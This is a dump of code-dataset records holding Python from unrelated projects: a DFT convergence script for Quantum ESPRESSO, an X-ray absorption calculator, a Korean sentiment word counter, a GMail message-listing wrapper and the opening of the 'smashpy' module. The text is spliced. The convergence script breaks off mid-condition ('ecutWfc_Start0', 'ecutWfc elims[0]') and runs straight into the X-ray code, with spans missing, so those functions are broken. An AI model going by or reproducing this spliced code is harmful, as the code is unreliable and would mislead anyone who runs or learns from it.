self.checkKeyword(self.cFile.fileData[i], \"$RUN\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.runCode = int(fileRowArr[1])\n\n\n # Convergence Settings\n #######################\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$ETHRESHOLD\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.eThreshold = float(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$FTHRESHOLD\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.fThreshold = float(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$STHRESHOLD\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.sThreshold = float(fileRowArr[1]) / 1.471050658e7\n ####\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$MINECUTWFC\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.min_ecutwfc = int(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$ECUTWFC\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.ecutwfc = int(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$ECUTRHO\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.ecutrho = int(fileRowArr[1])\n ####\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$KPOINTS\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.kpoints = str(fileRowArr[1])+\" \"+str(fileRowArr[2])+\" \"\n self.kpoints = self.kpoints + str(fileRowArr[3])+\" \"+str(fileRowArr[4])+\" \"\n self.kpoints = self.kpoints + str(fileRowArr[5])+\" \"+str(fileRowArr[6])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$STARTKPOINTS\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.kPointStart = int(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$ENDKPOINTS\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.kPointEnd = int(fileRowArr[1])\n\n\n\n\n print (\"==================================================\")\n print()\n ## Mk dir\n self.mkDir(self.tmpDir)\n self.dftDir = self.tmpDir+\"/dft\"\n self.plotsDir = self.tmpDir+\"/plots\"\n self.mkDir(self.dftDir)\n self.mkDir(self.plotsDir)\n\n ## Type of run\n\n\n ## Log\n self.resultsArr.append(\"Run Options \")\n self.resultsArr.append(\"==========================================\")\n self.resultsArr.append(\"Dir: \"+self.tmpDir)\n self.resultsArr.append(\"Code: \"+str(self.runCode)+\" (\"+str(self.runType)+\")\")\n self.resultsArr.append(\"Structure: \"+str(self.structure))\n self.resultsArr.append(\" \")\n\n @staticmethod\n def checkKeyword(lineIn, keyword, verbose=False):\n result = None\n if(lineIn != \"\"):\n lineInArr = lineIn.split(\"#\")\n lineIn = lineInArr[0]\n if(lineIn != \"\"):\n lineInUC = lineIn.upper()\n keywordUC = keyword.upper()\n keywordLen = len(keywordUC)\n if(lineInUC[0:keywordLen]==keywordUC):\n result = oStrings.removeDouble(lineIn,\" \")\n if(verbose):\n print(result)\n return result\n\n\n def mkDir(self,dirIn):\n cmdIn = \"mkdir -p \"+dirIn\n os.system(cmdIn)\n\n\n#run(fileName, dftDir=None, runCode=1, procs=4)\n\n#############################\n#############################\n\n def run(self):\n print (\"Run\")\n self.makeFile()\n if(self.convergeChoice==1 or self.convergeChoice==3):\n self.convEcut()\n if(self.convergeChoice==2 or self.convergeChoice==3):\n self.convKpoints()\n\n def makeFile(self):\n self.pwIn = pwIn()\n if(self.pwtemplate is None):\n print (\" build structure\")\n self.pwIn.makeTemplate()\n self.pwIn.changeAtomSpecies(self.atomList,self.massList,self.ppList)\n if(self.nspin==0):\n self.pwIn.setMagnetic0()\n if(self.nspin==2):\n self.pwIn.setMagnetic2()\n if(self.mixing_mode==\"TF\"):\n self.pwIn.setMixingTF()\n if(self.mixing_mode==\"local-TF\"):\n self.pwIn.setMixingLocalTF()\n self.pwIn.makeStructure(self.structure,self.copies,self.copies,self.copies,0.1)\n self.pwIn.changeAlat(self.copies * self.inputAlat,True)\n self.nat = self.pwIn.nat\n else:\n # Load all from a template file\n print (\" load from file\")\n self.pwIn.loadFile(self.pwtemplate)\n # Change values (regardless of template file or built)\n self.pwIn.changeOutdir(self.outdir)\n self.pwIn.changePPdir(self.ppdir)\n self.pwIn.changePrefix(\"template\")\n self.pwIn.changeEcutwfc(self.ecutwfc)\n self.pwIn.changeEcutrho(4.0*self.ecutwfc)\n self.pwIn.changeKpoints(self.kPointStart)\n self.pwIn.outputFile(self.tmpDir+\"/template.in\")\n\n def convEcut(self): # Use vc-relax to fine optimum settings\n # Set lists\n list_inputFiles = []\n list_outputFiles = []\n list_outputFiles_Full = []\n list_inputFiles_B = []\n list_outputFiles_B = []\n list_outputFiles_Full_B = []\n # Round A\n list_ecutWfc_A = []\n list_ecutRho_A = []\n list_totalEnergy_A = []\n list_totalForce_A = []\n list_stress_A = []\n list_totalEnergy_plot_A = []\n list_totalForce_plot_A = []\n list_stress_plot_A = []\n # Round B\n list_ecutWfc_B = []\n list_totalEnergy_B = []\n list_totalForce_B = []\n list_stress_B = []\n list_totalEnergy_plot_B = []\n list_totalForce_plot_B = []\n list_stress_plot_B = []\n\n ecutLoops = 50\n ecutWfc_Start = self.ecutwfc\n\n print(\"======================================================\")\n print(\"Ecut Convergence Settings\")\n print(\"======================================================\")\n print(\"Energy threshold (Ry): \",self.eThreshold)\n print(\"Force threshold (Ry/Bohr): \",self.fThreshold)\n print(\"Stress threshold (Ry/Bohr^3): \",self.sThreshold)\n print(\"Stress threshold (MPa): \",(self.sThreshold * 1.471050658e7))\n print(\"WFC Loops: \",ecutLoops)\n print()\n print()\n\n # Set k-points\n kpointsArr = self.kpoints.split(\" \")\n\n # set default ecuts as minimum\n\n optEcutwfc = self.min_ecutwfc\n optEcutrho = 4 * optEcutwfc\n self.ecutwfc = optEcutwfc\n self.ecutrho = optEcutrho\n\n if(ecutWfc_Start0):\n pwAB = pwCompare(pwDat,pwDat_Last)\n dE = pwAB.compareEnergyPA()\n dF = pwAB.compareForcePA()\n dS = pwAB.compareStress()\n print(n,tCounter,ecutWfc,ecutRho,dE,dF,dS)\n if(dE<=self.eThreshold and dF<=self.fThreshold and dS<=self.fThreshold):\n tCounter = tCounter + 1\n else:\n tCounter = 0\n if(tCounter==3):\n n = ecutLoops\n break\n if(tCounter==1):\n convEnergy = pwDat.energyPerAtomPlot\n convForce = pwDat.forcePerAtom\n convStress = pwDat.stressAvg\n convEnergy_plot = pwDat.energyPerAtomPlot\n convForce_plot = pwDat.forcePerAtomPlot\n convStress_plot = pwDat.stressPlot\n optEcutwfc = ecutWfc\n optEcutrho = ecutRho\n pwDat_Last = pwDat\n print(\"Ecutwfc: \",optEcutwfc)\n print(\"Ecutrho: \",optEcutrho)\n\n ## GnuPlot\n # energy\n self.gp = gnuplot()\n self.gp.reset()\n self.gp.setDir(self.plotsDir)\n self.gp.title(\"Ecutwfc Convergence\")\n self.gp.axisLabel(\"x1\",\"Ecutwfc (Ry)\")\n self.gp.axisLabel(\"y1\",\"Energy/Atom (mRy)\")\n self.gp.outputPlot(\"A_ecutwfc_energy\")\n self.gp.addPlot(list_ecutWfc_A,list_totalEnergy_plot_A,\"x1y1\",\"Energy convergence\",1,1000)\n self.gp.addCircle(optEcutwfc,(convEnergy_plot*1000),1)\n self.gp.makePlot()\n # force\n self.gp = gnuplot()\n self.gp.reset()\n self.gp.setDir(self.plotsDir)\n self.gp.title(\"Ecutwfc Convergence\")\n self.gp.axisLabel(\"x1\",\"Ecutwfc (Ry)\")\n self.gp.axisLabel(\"y1\",\"Force/Atom (mRy/Bohr)\")\n self.gp.outputPlot(\"A_ecutwfc_force\")\n self.gp.addPlot(list_ecutWfc_A,list_totalForce_A,\"x1y1\",\"Force convergence\",1,1000)\n self.gp.addCircle(optEcutwfc,(convForce*1000),1)\n self.gp.makePlot()\n # stress\n self.gp.reset()\n self.gp.setDir(self.plotsDir)\n self.gp.title(\"Ecutwfc Convergence\")\n self.gp.axisLabel(\"x1\",\"Ecutwfc (Ry)\")\n self.gp.axisLabel(\"y1\",\"Stress (mRy/Bohr^3))\")\n self.gp.outputPlot(\"A_ecutwfc_stress\")\n self.gp.addPlot(list_ecutWfc_A,list_stress_A,\"x1y1\",\"Stress convergence\",1,1000)\n self.gp.addCircle(optEcutwfc,(convStress*1000),1)\n self.gp.makePlot()\n # stress\n self.gp.reset()\n self.gp.setDir(self.plotsDir)\n self.gp.title(\"Ecutwfc Convergence\")\n self.gp.axisLabel(\"x1\",\"Ecutwfc (Ry)\")\n self.gp.axisLabel(\"y1\",\"Energy (mRy) and Force (mRy/Bohr)\")\n self.gp.axisLabel(\"y2\",\"Stress (m(Ry/Bohr^3))\")\n self.gp.outputPlot(\"A_ecutwfc_efs\")\n self.gp.addPlot(list_ecutWfc_A,list_totalEnergy_plot_A,\"x1y1\",\"energy\",1,1000)\n self.gp.addPlot(list_ecutWfc_A,list_totalForce_plot_A,\"x1y1\",\"force\",1,1000)\n self.gp.addPlot(list_ecutWfc_A,list_stress_plot_A,\"x1y2\",\"stress\",1,1000)\n self.gp.addCircle(optEcutwfc,(convEnergy_plot*1000),1)\n self.gp.addCircle(optEcutwfc,(convForce_plot*1000),1)\n self.gp.addCircle(optEcutwfc,(convStress_plot*1000),2)\n self.gp.makePlot()\n\n ##\n ## Round B\n ##\n ## keep reducing ecutwfc while still meeting convergence criteria\n ##\n fileStub = \"conv_B_\"\n tCounter = 0\n ecutWfc_Start = optEcutwfc\n ecutWfc = optEcutwfc\n ecutRho = optEcutrho\n tCounter = 0\n for n in range (0,ecutLoops):\n # Store last values as converged\n if(tCounter==0):\n optEcutwfc = ecutWfc\n optEcutrho = ecutRho\n # Change ecutWfc by -1\n ecutWfc = ecutWfc_Start - n * 1\n self.pwIn.changeEcutwfc(ecutWfc)\n self.pwIn.changeEcutrho(ecutRho)\n # Make File\n file_name = fileStub + str(n)\n self.pwIn.outputFile(self.dftDir+\"/\"+file_name+\".in\")\n # run pwscf\n runPw.run(file_name, self.dftDir, 2)\n # Get data\n pwDat = pwOut(self.dftDir+\"/\"+file_name+\".out\")\n # Store\n list_ecutWfc_B.append(ecutWfc)\n list_totalEnergy_B.append(pwDat.energyPerAtom)\n list_totalForce_B.append(pwDat.forcePerAtom)\n list_stress_B.append(pwDat.stressAvg)\n list_totalEnergy_plot_B.append(pwDat.energyPerAtomPlot)\n list_totalForce_plot_B.append(pwDat.forcePerAtomPlot)\n list_stress_plot_B.append(pwDat.stressPlot)\n if(n>0):\n pwAB = pwCompare(pwDat,pwDat_Last)\n dE = pwAB.compareEnergyPA()\n dF = pwAB.compareForcePA()\n dS = pwAB.compareStress()\n print(n,tCounter,ecutWfc,ecutRho,dE,dF,dS)\n if(dE>=self.eThreshold or dF>=self.fThreshold or dS>=self.fThreshold or ecutWfc elims[0])[0][0]\n imax = np.where(ene < elims[1])[0][(-1)]\n xsec_out = np.array([ene[imin:imax], sig[imin:imax]])\n rayl_out = np.array([ene[imin:imax], ela[imin:imax]])\n inifin = [\n 0, 0]\n for i in self.ff_slines:\n if i.split()[(-1)] == atom and i.split()[(-2)] == z.__str__():\n inifin[0] = self.ff_lines.index(i)\n break\n\n for i in self.ff_slines:\n if i.split()[(-2)] == (z + 1).__str__():\n inifin[1] = self.ff_lines.index(i)\n break\n\n self.ffco = [i for i in self.ff_lines[inifin[0]:inifin[1]] if i.startswith('#') == False]\n ene = np.empty(len(self.ffco))\n f1p = np.empty(len(self.ffco))\n f2p = np.empty(len(self.ffco))\n for i in range(len(self.ffco)):\n cols = self.ffco[i].strip().split()\n ene[i] = float(cols[0])\n f1p[i] = float(cols[1])\n f2p[i] = float(cols[2])\n\n imin = np.where(ene > elims[0])[0][0]\n imax = np.where(ene < elims[1])[0][(-1)]\n fprime_out = np.array([ene[imin:imax], f1p[imin:imax], f2p[imin:imax]])\n return (\n xsec_out, rayl_out, fprime_out)\n\n\nclass Atom:\n\n def __init__(self, name, elims=(1000.0, 100000.0)):\n \"\"\"\n Initialises Atom class. \n Arguments:\n - name: atom label. Type: string (in quotes).\n - (optional) elims: limits of the energy range in eV to extract from the Brennan-Cowan database\n \"\"\"\n self.name = name\n self.z = get_z(self.name)\n self.wt = get_wt(self.name)\n db = Database()\n self.xsec, self.rayl, self.fprime = db.gimme(self.name, self.z, elims)\n self.mu_spl = interpolate.splrep((self.xsec[0]), (self.xsec[1]), s=0)\n self.ra_spl = interpolate.splrep((self.rayl[0]), (self.rayl[1]), s=0)\n self.f1_spl = interpolate.splrep((self.fprime[0]), (self.fprime[1]), s=0)\n self.f2_spl = interpolate.splrep((self.fprime[0]), (self.fprime[2]), s=0)\n\n def atom_ff(self, ep):\n \"\"\"\n Outputs f',f'' for this atom.\n Arguments:\n - ep: energy value in eV. Type: float or numpy array.\n \"\"\"\n spl = self.f1_spl\n f1 = interpolate.splev(ep, spl, der=0, ext=0)\n spl = self.f2_spl\n f2 = interpolate.splev(ep, spl, der=0, ext=0)\n return (\n f1, f2)\n\n def atom_mu(self, ep):\n \"\"\"\n Returns f',f'' for this atom.\n Arguments:\n - ep: energy value in eV. Type: float or numpy array.\n Output:\n - sig_el: elastic (Rayleigh-Thomson) cross-section in barns/atom\n - sig_tot: total interaction cross-section in barns/atom\n - sig_tot_ua: total cross-section divided by atom wt = linear attenuation coef. divided by density [sig/(uA) = mu/rho in cm2/g]\n \"\"\"\n u = 1.6605402\n spl = self.mu_spl\n sig_tot = interpolate.splev(ep, spl, der=0, ext=0)\n sig_tot_ua = np.divide(sig_tot, u * self.wt)\n spl = self.ra_spl\n sig_el = interpolate.splev(ep, spl, der=0, ext=0)\n sig_el_ua = np.divide(sig_el, u * self.wt)\n return (\n sig_tot, sig_tot_ua, sig_el_ua)\n\n\nclass Mixture:\n\n def __init__(self, formula, **kwargs):\n \"\"\"\n Initialises Mixture class. \n Arguments:\n - formula: atom labels followed (or not) by coefficients. Type: string (in quotes).\n - d: sample density in g/cm^3. Use in absence of -v and -z. Type: float.\n - v: sample volume in cubic Angstroms. Use together with -z and in absence of -d. Type: float.\n - z: number or formulas per unit cell. Use together with -v and in absence of -d. Type: int.\n \"\"\"\n logger = logging.getLogger(__name__)\n self.prop = {}\n self.mola = {}\n self.weig = {}\n self.stoi, self.fw = formula_parser(formula)\n self.molsum = sum(self.stoi.values())\n for u in self.stoi.keys():\n self.mola[u] = self.stoi[u] / self.molsum\n self.weig[u] = self.stoi[u] * get_wt(u) / self.fw\n\n for i in kwargs:\n self.prop[i] = kwargs[i]\n\n if 'v' in self.prop.keys():\n if 'z' in self.prop.keys():\n if 'd' not in self.prop.keys():\n self.prop['d'] = self.prop['z'] * self.fw / 0.60226 / self.prop['v']\n logger.info('%s formula weight: %.4f g/mol.' % (formula, self.fw))\n logger.info('Input density: %.4f g/cm^3' % self.prop['d'])\n\n def mix_mu(self, energy, thickness_cm=0.01, include_elastic=True):\n \"\"\"\n Calculate values for a single energy value. Print output similar to the APS website.\n Arguments:\n - energy: x-ray energy value. Type: float.\n - thickness_cm: sample thickness in cm. Type: float.\n - include_elastic: True=use total cross section (e.g. filters, air) False=use photoelectric+Compton (e.g. capillary absorption)\n Returns:\n - transmission (type: float)\n - f'. (type: float)\n - f'' (type: float)\n \"\"\"\n logger = logging.getLogger(__name__)\n self.thick = thickness_cm\n mix_sigma = 0.0\n logger.info('X-ray energy (wavelength): %d eV (%.5f A)' % (\n energy, 12398.4 / energy))\n logger.info('Sample thickness: %.5f cm' % self.thick)\n logger.info('Include Rayleigh Xsec: %s' % include_elastic)\n logger.info(\"Atom Wt frac f' f'' Total Xsec\")\n for w in self.stoi.keys():\n u = Atom(w)\n stot, stot_ua, srgh_ua = u.atom_mu(energy)\n if include_elastic == True:\n sig_ua = stot_ua\n elif include_elastic == False:\n sig_ua = stot_ua - srgh_ua\n mix_sigma += sig_ua * self.weig[u.name]\n f1, f2 = u.atom_ff(energy)\n logger.info('%-6s %-7.3f %-7.3f %-7.3f %8.2f barns' % (\n u.name, self.weig[u.name],\n f1, f2, stot * self.stoi[u.name]))\n\n self.mu = np.multiply(mix_sigma, self.prop['d'])\n self.transm = np.exp(-self.mu * self.thick)\n logger.info('Total mu = %.2f cm^-1' % self.mu)\n logger.info('Total muR = %.2f' % (self.mu * 0.5 * self.thick))\n logger.info('Transmission = %.4f %%' % (100 * self.transm))\n return (\n self.transm, f1, f2)\n\n def mix_mue(self, energy, thickness_cm=0.01, include_elastic=True):\n \"\"\"\n Calculate values for an array of energy values. No atom-wise print output.\n Arguments:\n - energy: x-ray energy values. Type: numpy array.\n - thickness_cm: sample thickness in cm. Type: float.\n - include_elastic: True=use total cross section (e.g. filters, air. Match Henke website)\n False=use photoelectric+Compton (e.g. capillary absorption. Match APS website)\n Returns:\n - transmission (type: array)\n - f'. (type: array)\n - f'' (type: array)\n \"\"\"\n logger = logging.getLogger(__name__)\n self.thick = thickness_cm\n mix_sigma = np.zeros(len(energy))\n f1, f2 = np.zeros(len(energy)), np.zeros(len(energy))\n logger.info('X-ray energy (wavelength): %d-%d eV (%.5f-%.5f A)' % (\n energy[0], energy[(-1)], 12398.4 / energy[0], 12398.4 / energy[(-1)]))\n logger.info('Sample thickness: %.5f cm' % self.thick)\n logger.info('Include Rayleigh Xsec: %s' % include_elastic)\n for w in self.stoi.keys():\n u = Atom(w)\n stot, stot_ua, srgh_ua = u.atom_mu(energy)\n if include_elastic == True:\n sig_ua = stot_ua\n elif include_elastic == False:\n sig_ua = stot_ua - srgh_ua\n mix_sigma += sig_ua * self.weig[u.name]\n f1_w, f2_w = u.atom_ff(energy)\n f1 += f1_w\n f2 += f2_w\n\n self.mu = np.multiply(mix_sigma, self.prop['d'])\n self.transm = np.exp(-self.mu * self.thick)\n logger.info(\"Energy--|-%Transm--|--muR---|---mu---|---f'---|--f''---\")\n for i in range(len(energy)):\n logger.info('%8d|%10.3f|%8.3f|%8.3f|%8.3f|%8.3f' % (energy[i],\n 100 * self.transm[i],\n self.mu[i] * 0.5 * self.thick,\n self.mu[i], f1[i], f2[i]))\n\n return (self.transm, f1, f2)\n\n\ndef console():\n thelogger = logging.getLogger(__name__)\n parser = argparse.ArgumentParser(description='X-ray absorption calculation')\n parser.add_argument('-f', type=str, help='Brute formula, e.g. Sr0.85Pr0.15TiO3 or CaO')\n parser.add_argument('-d', type=float, help='Density in g/cm^3. (If not available, use -z and -v)')\n parser.add_argument('-v', type=float, help='Cell volume in AA^3. (Use together with -z instead of density)')\n parser.add_argument('-z', type=int, help='Number of formula units per unit cell, e.g. 1 for Pm-3m. (Use together with -v instead of density)')\n parser.add_argument('-e', type=float, help='X-ray energy in eV. Single value or .',\n nargs='+')\n parser.add_argument('-t', type=float, help='Sample thickness (diameter) in mm')\n parser.add_argument('-y', type=int, help='Include Rayleigh (elastic) Xsec on top of photoelectric and Compton: 0=OFF, 1=ON (default)',\n default=1)\n parser.add_argument('-l', type=int, help='Display information: 0=OFF, 1=ON (default)',\n default=1)\n args = parser.parse_args()\n if bool(args.l) == False:\n thelogger.setLevel(50)\n if not any([args.v, args.z]) == False or args.d:\n if args.e:\n if not (args.f and args.t):\n thelogger.error('Not enough arguments. Check options -f, -e, -t, -d (or -v and -z)')\n sys.exit(1)\n elif args.z and args.v:\n sk = args.d or Mixture((args.f), z=(args.z), v=(args.v))\n elif args.d:\n sk = Mixture((args.f), d=(args.d))\n else:\n sys.exit(1)\n t_cm = 0.1 * args.t\n if len(args.e) == 1:\n sk.mix_mu(args.e[0], t_cm, bool(args.y))\n else:\n if len(args.e) == 2:\n sk.mix_mu(args.e[0], t_cm, bool(args.y))\n sk.mix_mu(args.e[1], t_cm, bool(args.y))\n elif len(args.e) >= 3:\n ene = np.arange(args.e[0], args.e[2] + args.e[1], args.e[1])\n res = sk.mix_mue(ene, t_cm, bool(args.y))\n logging.shutdown()\n\n\nthelogger = Logg(__name__)","sub_path":"pycfiles/pyabst-0.0.3-py3-none-any/__init__.cpython-37.py","file_name":"__init__.cpython-37.py","file_ext":"py","file_size_in_byte":12724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"362132391","text":"import pandas as pd\r\nfrom pandas import Series, DataFrame\r\nimport sys\r\nimport datetime\r\nimport re\r\nimport nltk\r\nimport json\r\nimport os\r\nfrom nltk.tokenize import sent_tokenize\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.tokenize import word_tokenize\r\nfrom konlpy.tag import Twitter\r\n\r\ntagger = Twitter() # Twitter 태깅 함수\r\n\r\n## 프로그레스바\r\nimport sys\r\ndef progressBar(value, endvalue, bar_length=20):\r\n percent = float(value) / endvalue\r\n arrow = '-' * int(round(percent * bar_length)-1) + '>'\r\n spaces = ' ' * (bar_length - len(arrow))\r\n\r\n sys.stdout.write(\"\\rPercent: [{0}] {1}%\".format(arrow + spaces, int(round(percent * 100))))\r\n sys.stdout.flush()\r\n\r\n## 단어 수 세기\r\n# - textdata : excel에 있는 text데이터\r\n# - dir_path : pdf를 저장할 경로\r\ndef count_word(textdata):\r\n print(\"----------------------\")\r\n print(\"단어 수 세는 중\")\r\n process_text = [None for _ in range(len(textdata))]\r\n\r\n for idx in range(len(textdata)):\r\n # 읽지 못한 pdf파일은 건너뛴다\r\n if type(textdata[idx]) == str:\r\n sent_text = textdata[idx].lower()\r\n sent_text = sent_tokenize(sent_text)\r\n sent_text = [re.sub(\"\\n\",'',text) for text in sent_text]\r\n\r\n # 숫자 및 특수문자 제거\r\n #sent_text = [re.sub(\"[^(가-힣ㄱ-ㅎㅏ-ㅣa-zA-Z\\ )]\",' ',text) for text in sent_text]\r\n # 한글빼고 다 제거\r\n sent_text = [re.sub(\"[^(가-힣)]\",' ',text) for text in sent_text]\r\n sent_text = [re.sub(\"[(]\",' ',text) for text in sent_text]\r\n sent_text = [re.sub(\"[)]\",' ',text) for text in sent_text]\r\n sent_text = [re.sub(\"\\ +\",' ',text) for text in sent_text]\r\n # 공백이 2개 이상일때\r\n sent_text = [re.sub(\" +\",' ',text) for text in sent_text]\r\n\r\n process_text[idx] = sent_text\r\n\r\n word_cnt = []\r\n for idx in range(len(process_text)):\r\n tmp = process_text[idx]\r\n if tmp is not None:\r\n text_token = [word_tokenize(text) for text in tmp]\r\n text_token = [y for x in text_token for y in x]\r\n word_cnt.append(len(text_token))\r\n else:\r\n word_cnt.append(0)\r\n\r\n return process_text,word_cnt\r\n ## word_cnt는 list -> return 받으면 dataframe으로 저장해야된다\r\n\r\n## 긍부정 단어 수\r\n# - textdata : 전처리한 text데이터\r\n# - pn_dict : 긍부정 사전\r\ndef count_pos_neg(textdata,pn_dict=None):\r\n\r\n # 긍부정 사전 open\r\n if pn_dict is None:\r\n pn_dict = './dict.json'\r\n\r\n json1_file = open(pn_dict)\r\n json1_str = json1_file.read()\r\n pos_neg_dict = json.loads(json1_str)\r\n\r\n # text데이터에서 명사 추출(오래걸림)\r\n start = datetime.datetime.now()\r\n text_tag = []\r\n\r\n for sent_text in process_text:\r\n text_token = []\r\n\r\n if sent_text is None:\r\n text_tag.append(text_token)\r\n continue\r\n # 문장단위 토큰화에서 명사 추출\r\n for text in sent_text:\r\n # 여기서 비교의 용이를 위해 2음절 이상의 단어만 가져옴\r\n if len(text) >= 2:\r\n text_token += tagger.nouns(text)\r\n\r\n text_tag.append(text_token)\r\n progressBar(len(text_tag),len(process_text))\r\n\r\n end = datetime.datetime.now()\r\n print(\"\\n걸린시간 : \",end-start)\r\n\r\n # 긍부정 단어 세기\r\n pos_cnt = []\r\n neg_cnt = []\r\n\r\n for text in text_tag:\r\n pos,neg = 0,0\r\n for word in text:\r\n if word in pos_neg_dict:\r\n np = pos_neg_dict.get(word)\r\n if np == \"pos\":\r\n pos += 1\r\n elif np == \"neg\":\r\n neg += 1\r\n pos_cnt.append(pos)\r\n neg_cnt.append(neg)\r\n\r\n return pos_cnt, neg_cnt\r\n\r\nif __name__ == \"__main__\":\r\n excelfile = input(\"excel파일명 : \")\r\n data_flag = input(\"dart? naver? (d/n) :\")\r\n pn_dict = input(\"긍부정사전( n - ./dict.json): \")\r\n ## excel파일 열기\r\n excel_data = pd.read_excel(excelfile)\r\n\r\n if pn_dict == 'n':\r\n pn_dict = None\r\n\r\n if data_flag == \"d\":\r\n process_text,word_cnt = count_word(excel_data[\"텍스트\"])\r\n else:\r\n process_text,word_cnt = count_word(excel_data[\"text\"])\r\n\r\n pos,neg = count_pos_neg(process_text,pn_dict)\r\n\r\n # 데이터 합치기\r\n df = DataFrame(word_cnt)\r\n pos_df = DataFrame(pos)\r\n neg_df = DataFrame(neg)\r\n\r\n data2 = pd.concat([df, pos_df, neg_df], axis=1)\r\n data2.columns = [\"단어수\",\"긍정단어수\",\"부정단어수\"]\r\n\r\n data = pd.merge(excel_data,data2,right_index=True,left_index=True)\r\n\r\n writer = pd.ExcelWriter(os.path.splitext(excelfile)[0]+'_wordcnt.xlsx')\r\n data.to_excel(writer,'Sheet1')\r\n writer.save()\r\n\r\n print(\"파일이 저장되었습니다\")\r\n","sub_path":"python_naver/text_pos_neg.py","file_name":"text_pos_neg.py","file_ext":"py","file_size_in_byte":4879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"444688386","text":"\"\"\"Wrapper to call remote methods on various Google API.\"\"\"\n\nimport config\n\n\nclass GMail(object):\n \"\"\"Wraps calls to GMail API.\"\"\"\n\n @staticmethod\n def ListMessages(gmail_service, user_id, query, pageToken=''):\n \"\"\"Returns a list of GMail messages.\"\"\"\n return gmail_service\\\n .users()\\\n .messages()\\\n .list(\n userId=user_id,\n q=query,\n maxResults=config.GMAIL_MAX_MESSAGES,\n pageToken=pageToken)\\\n .execute()\n","sub_path":"app/backend/fetch/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"364008855","text":"import os\nimport sys\nimport shap\nimport random\nimport matplotlib\nimport numpy as np\nimport plotly as py\nimport scanpy as sc\nimport pandas as pd\nimport seaborn as sns\nimport harmonypy as hm\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\nfrom sklearn.svm import SVC\nfrom matplotlib import colors\nfrom xgboost import XGBClassifier\nfrom keras.models import Sequential\nfrom sklearn.decomposition import PCA\nfrom tensorflow.keras.utils import to_categorical\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.datasets import make_classification\nfrom sklearn.metrics import classification_report\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom keras import losses, optimizers, regularizers\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nfrom keras.layers import BatchNormalization\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom imblearn.ensemble import BalancedRandomForestClassifier\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\n\nfrom ._version import __version__\n \nSEED = 42\n\n###########################################################################################\nmyColors = ['#e6194b', '#3cb44b', '#ffe119', '#4363d8', '#f58231',\n\t\t\t'#911eb4', '#46f0f0', '#f032e6', '#bcf60c', '#fabebe',\n\t\t\t'#008080', '#e6beff', '#9a6324', '#fffac8', '#800000',\n\t\t\t'#aaffc3', '#808000', '#ffd8b1', '#000075', '#808080', \n\t\t\t'#307D7E', '#000000', \"#DDEFFF\", \"#000035\", \"#7B4F4B\", \n\t\t\t\"#A1C299\", \"#300018\", \"#C2FF99\", \"#0AA6D8\", \"#013349\", \n\t\t\t\"#00846F\", \"#8CD0FF\", \"#3B9700\", \"#04F757\", \"#C8A1A1\", \n\t\t\t\"#1E6E00\", \"#DFFB71\", \"#868E7E\", \"#513A01\", \"#CCAA35\"]\n\ncolors2 = plt.cm.Reds(np.linspace(0, 1, 128))\ncolors3 = plt.cm.Greys_r(np.linspace(0.7,0.8,20))\ncolorsComb = np.vstack([colors3, colors2])\nmymap = colors.LinearSegmentedColormap.from_list('my_colormap', colorsComb)\n\n\n###########################################################################################\nclass smashpy:\n\tdef __init__(self):\n\n\t\tprint(\" * Initialising ...\")\n\n\t\tos.environ['PYTHONHASHSEED']=str(SEED)\n\t\trandom.seed(SEED)\n\t\tnp.random.seed(SEED)\n\t\ttf.compat.v1.set_random_seed(SEED)\n# \t\ttf.random.set_seed(SEED)\n\n\t\t#Configure a new global `tensorflow` session\n\t\tsession_conf = tf.compat.v1.ConfigProto(intra_op_parallelism_threads=1, inter_op_parallelism_threads=1)\n\t\tsess = tf.compat.v1.Session(graph=tf.compat.v1.get_default_graph(), config=session_conf)\n\t\ttf.compat.v1.keras.backend.set_session(sess)\n \n# \t\tpy.offline.init_notebook_mode(connected=True)\n\t\tsc.settings.verbosity = 0\n \n\n\t###########################################################################################\n\tdef __loadDNNmodel(self, X, num_classes):\n\t\t\"\"\"\\\n\t\t\t...\n \n\t\t\tParameters\n\t\t\t----------\n\t\t\tX : anndata.AnnData\n\t\t\t\tThe AnnData matrix of shape `n_obs` × `n_vars`.\n\t\t\t\tRows correspond to cells and columns to genes.\n\t\t\tnum_classes : integer (default: None)\n \n\t\t\tReturns\n\t\t\t-------\n\t\t\tmodel : Keras model\n\t\t\t\t...\n\t\t\"\"\"\n\t\tdnn_model = 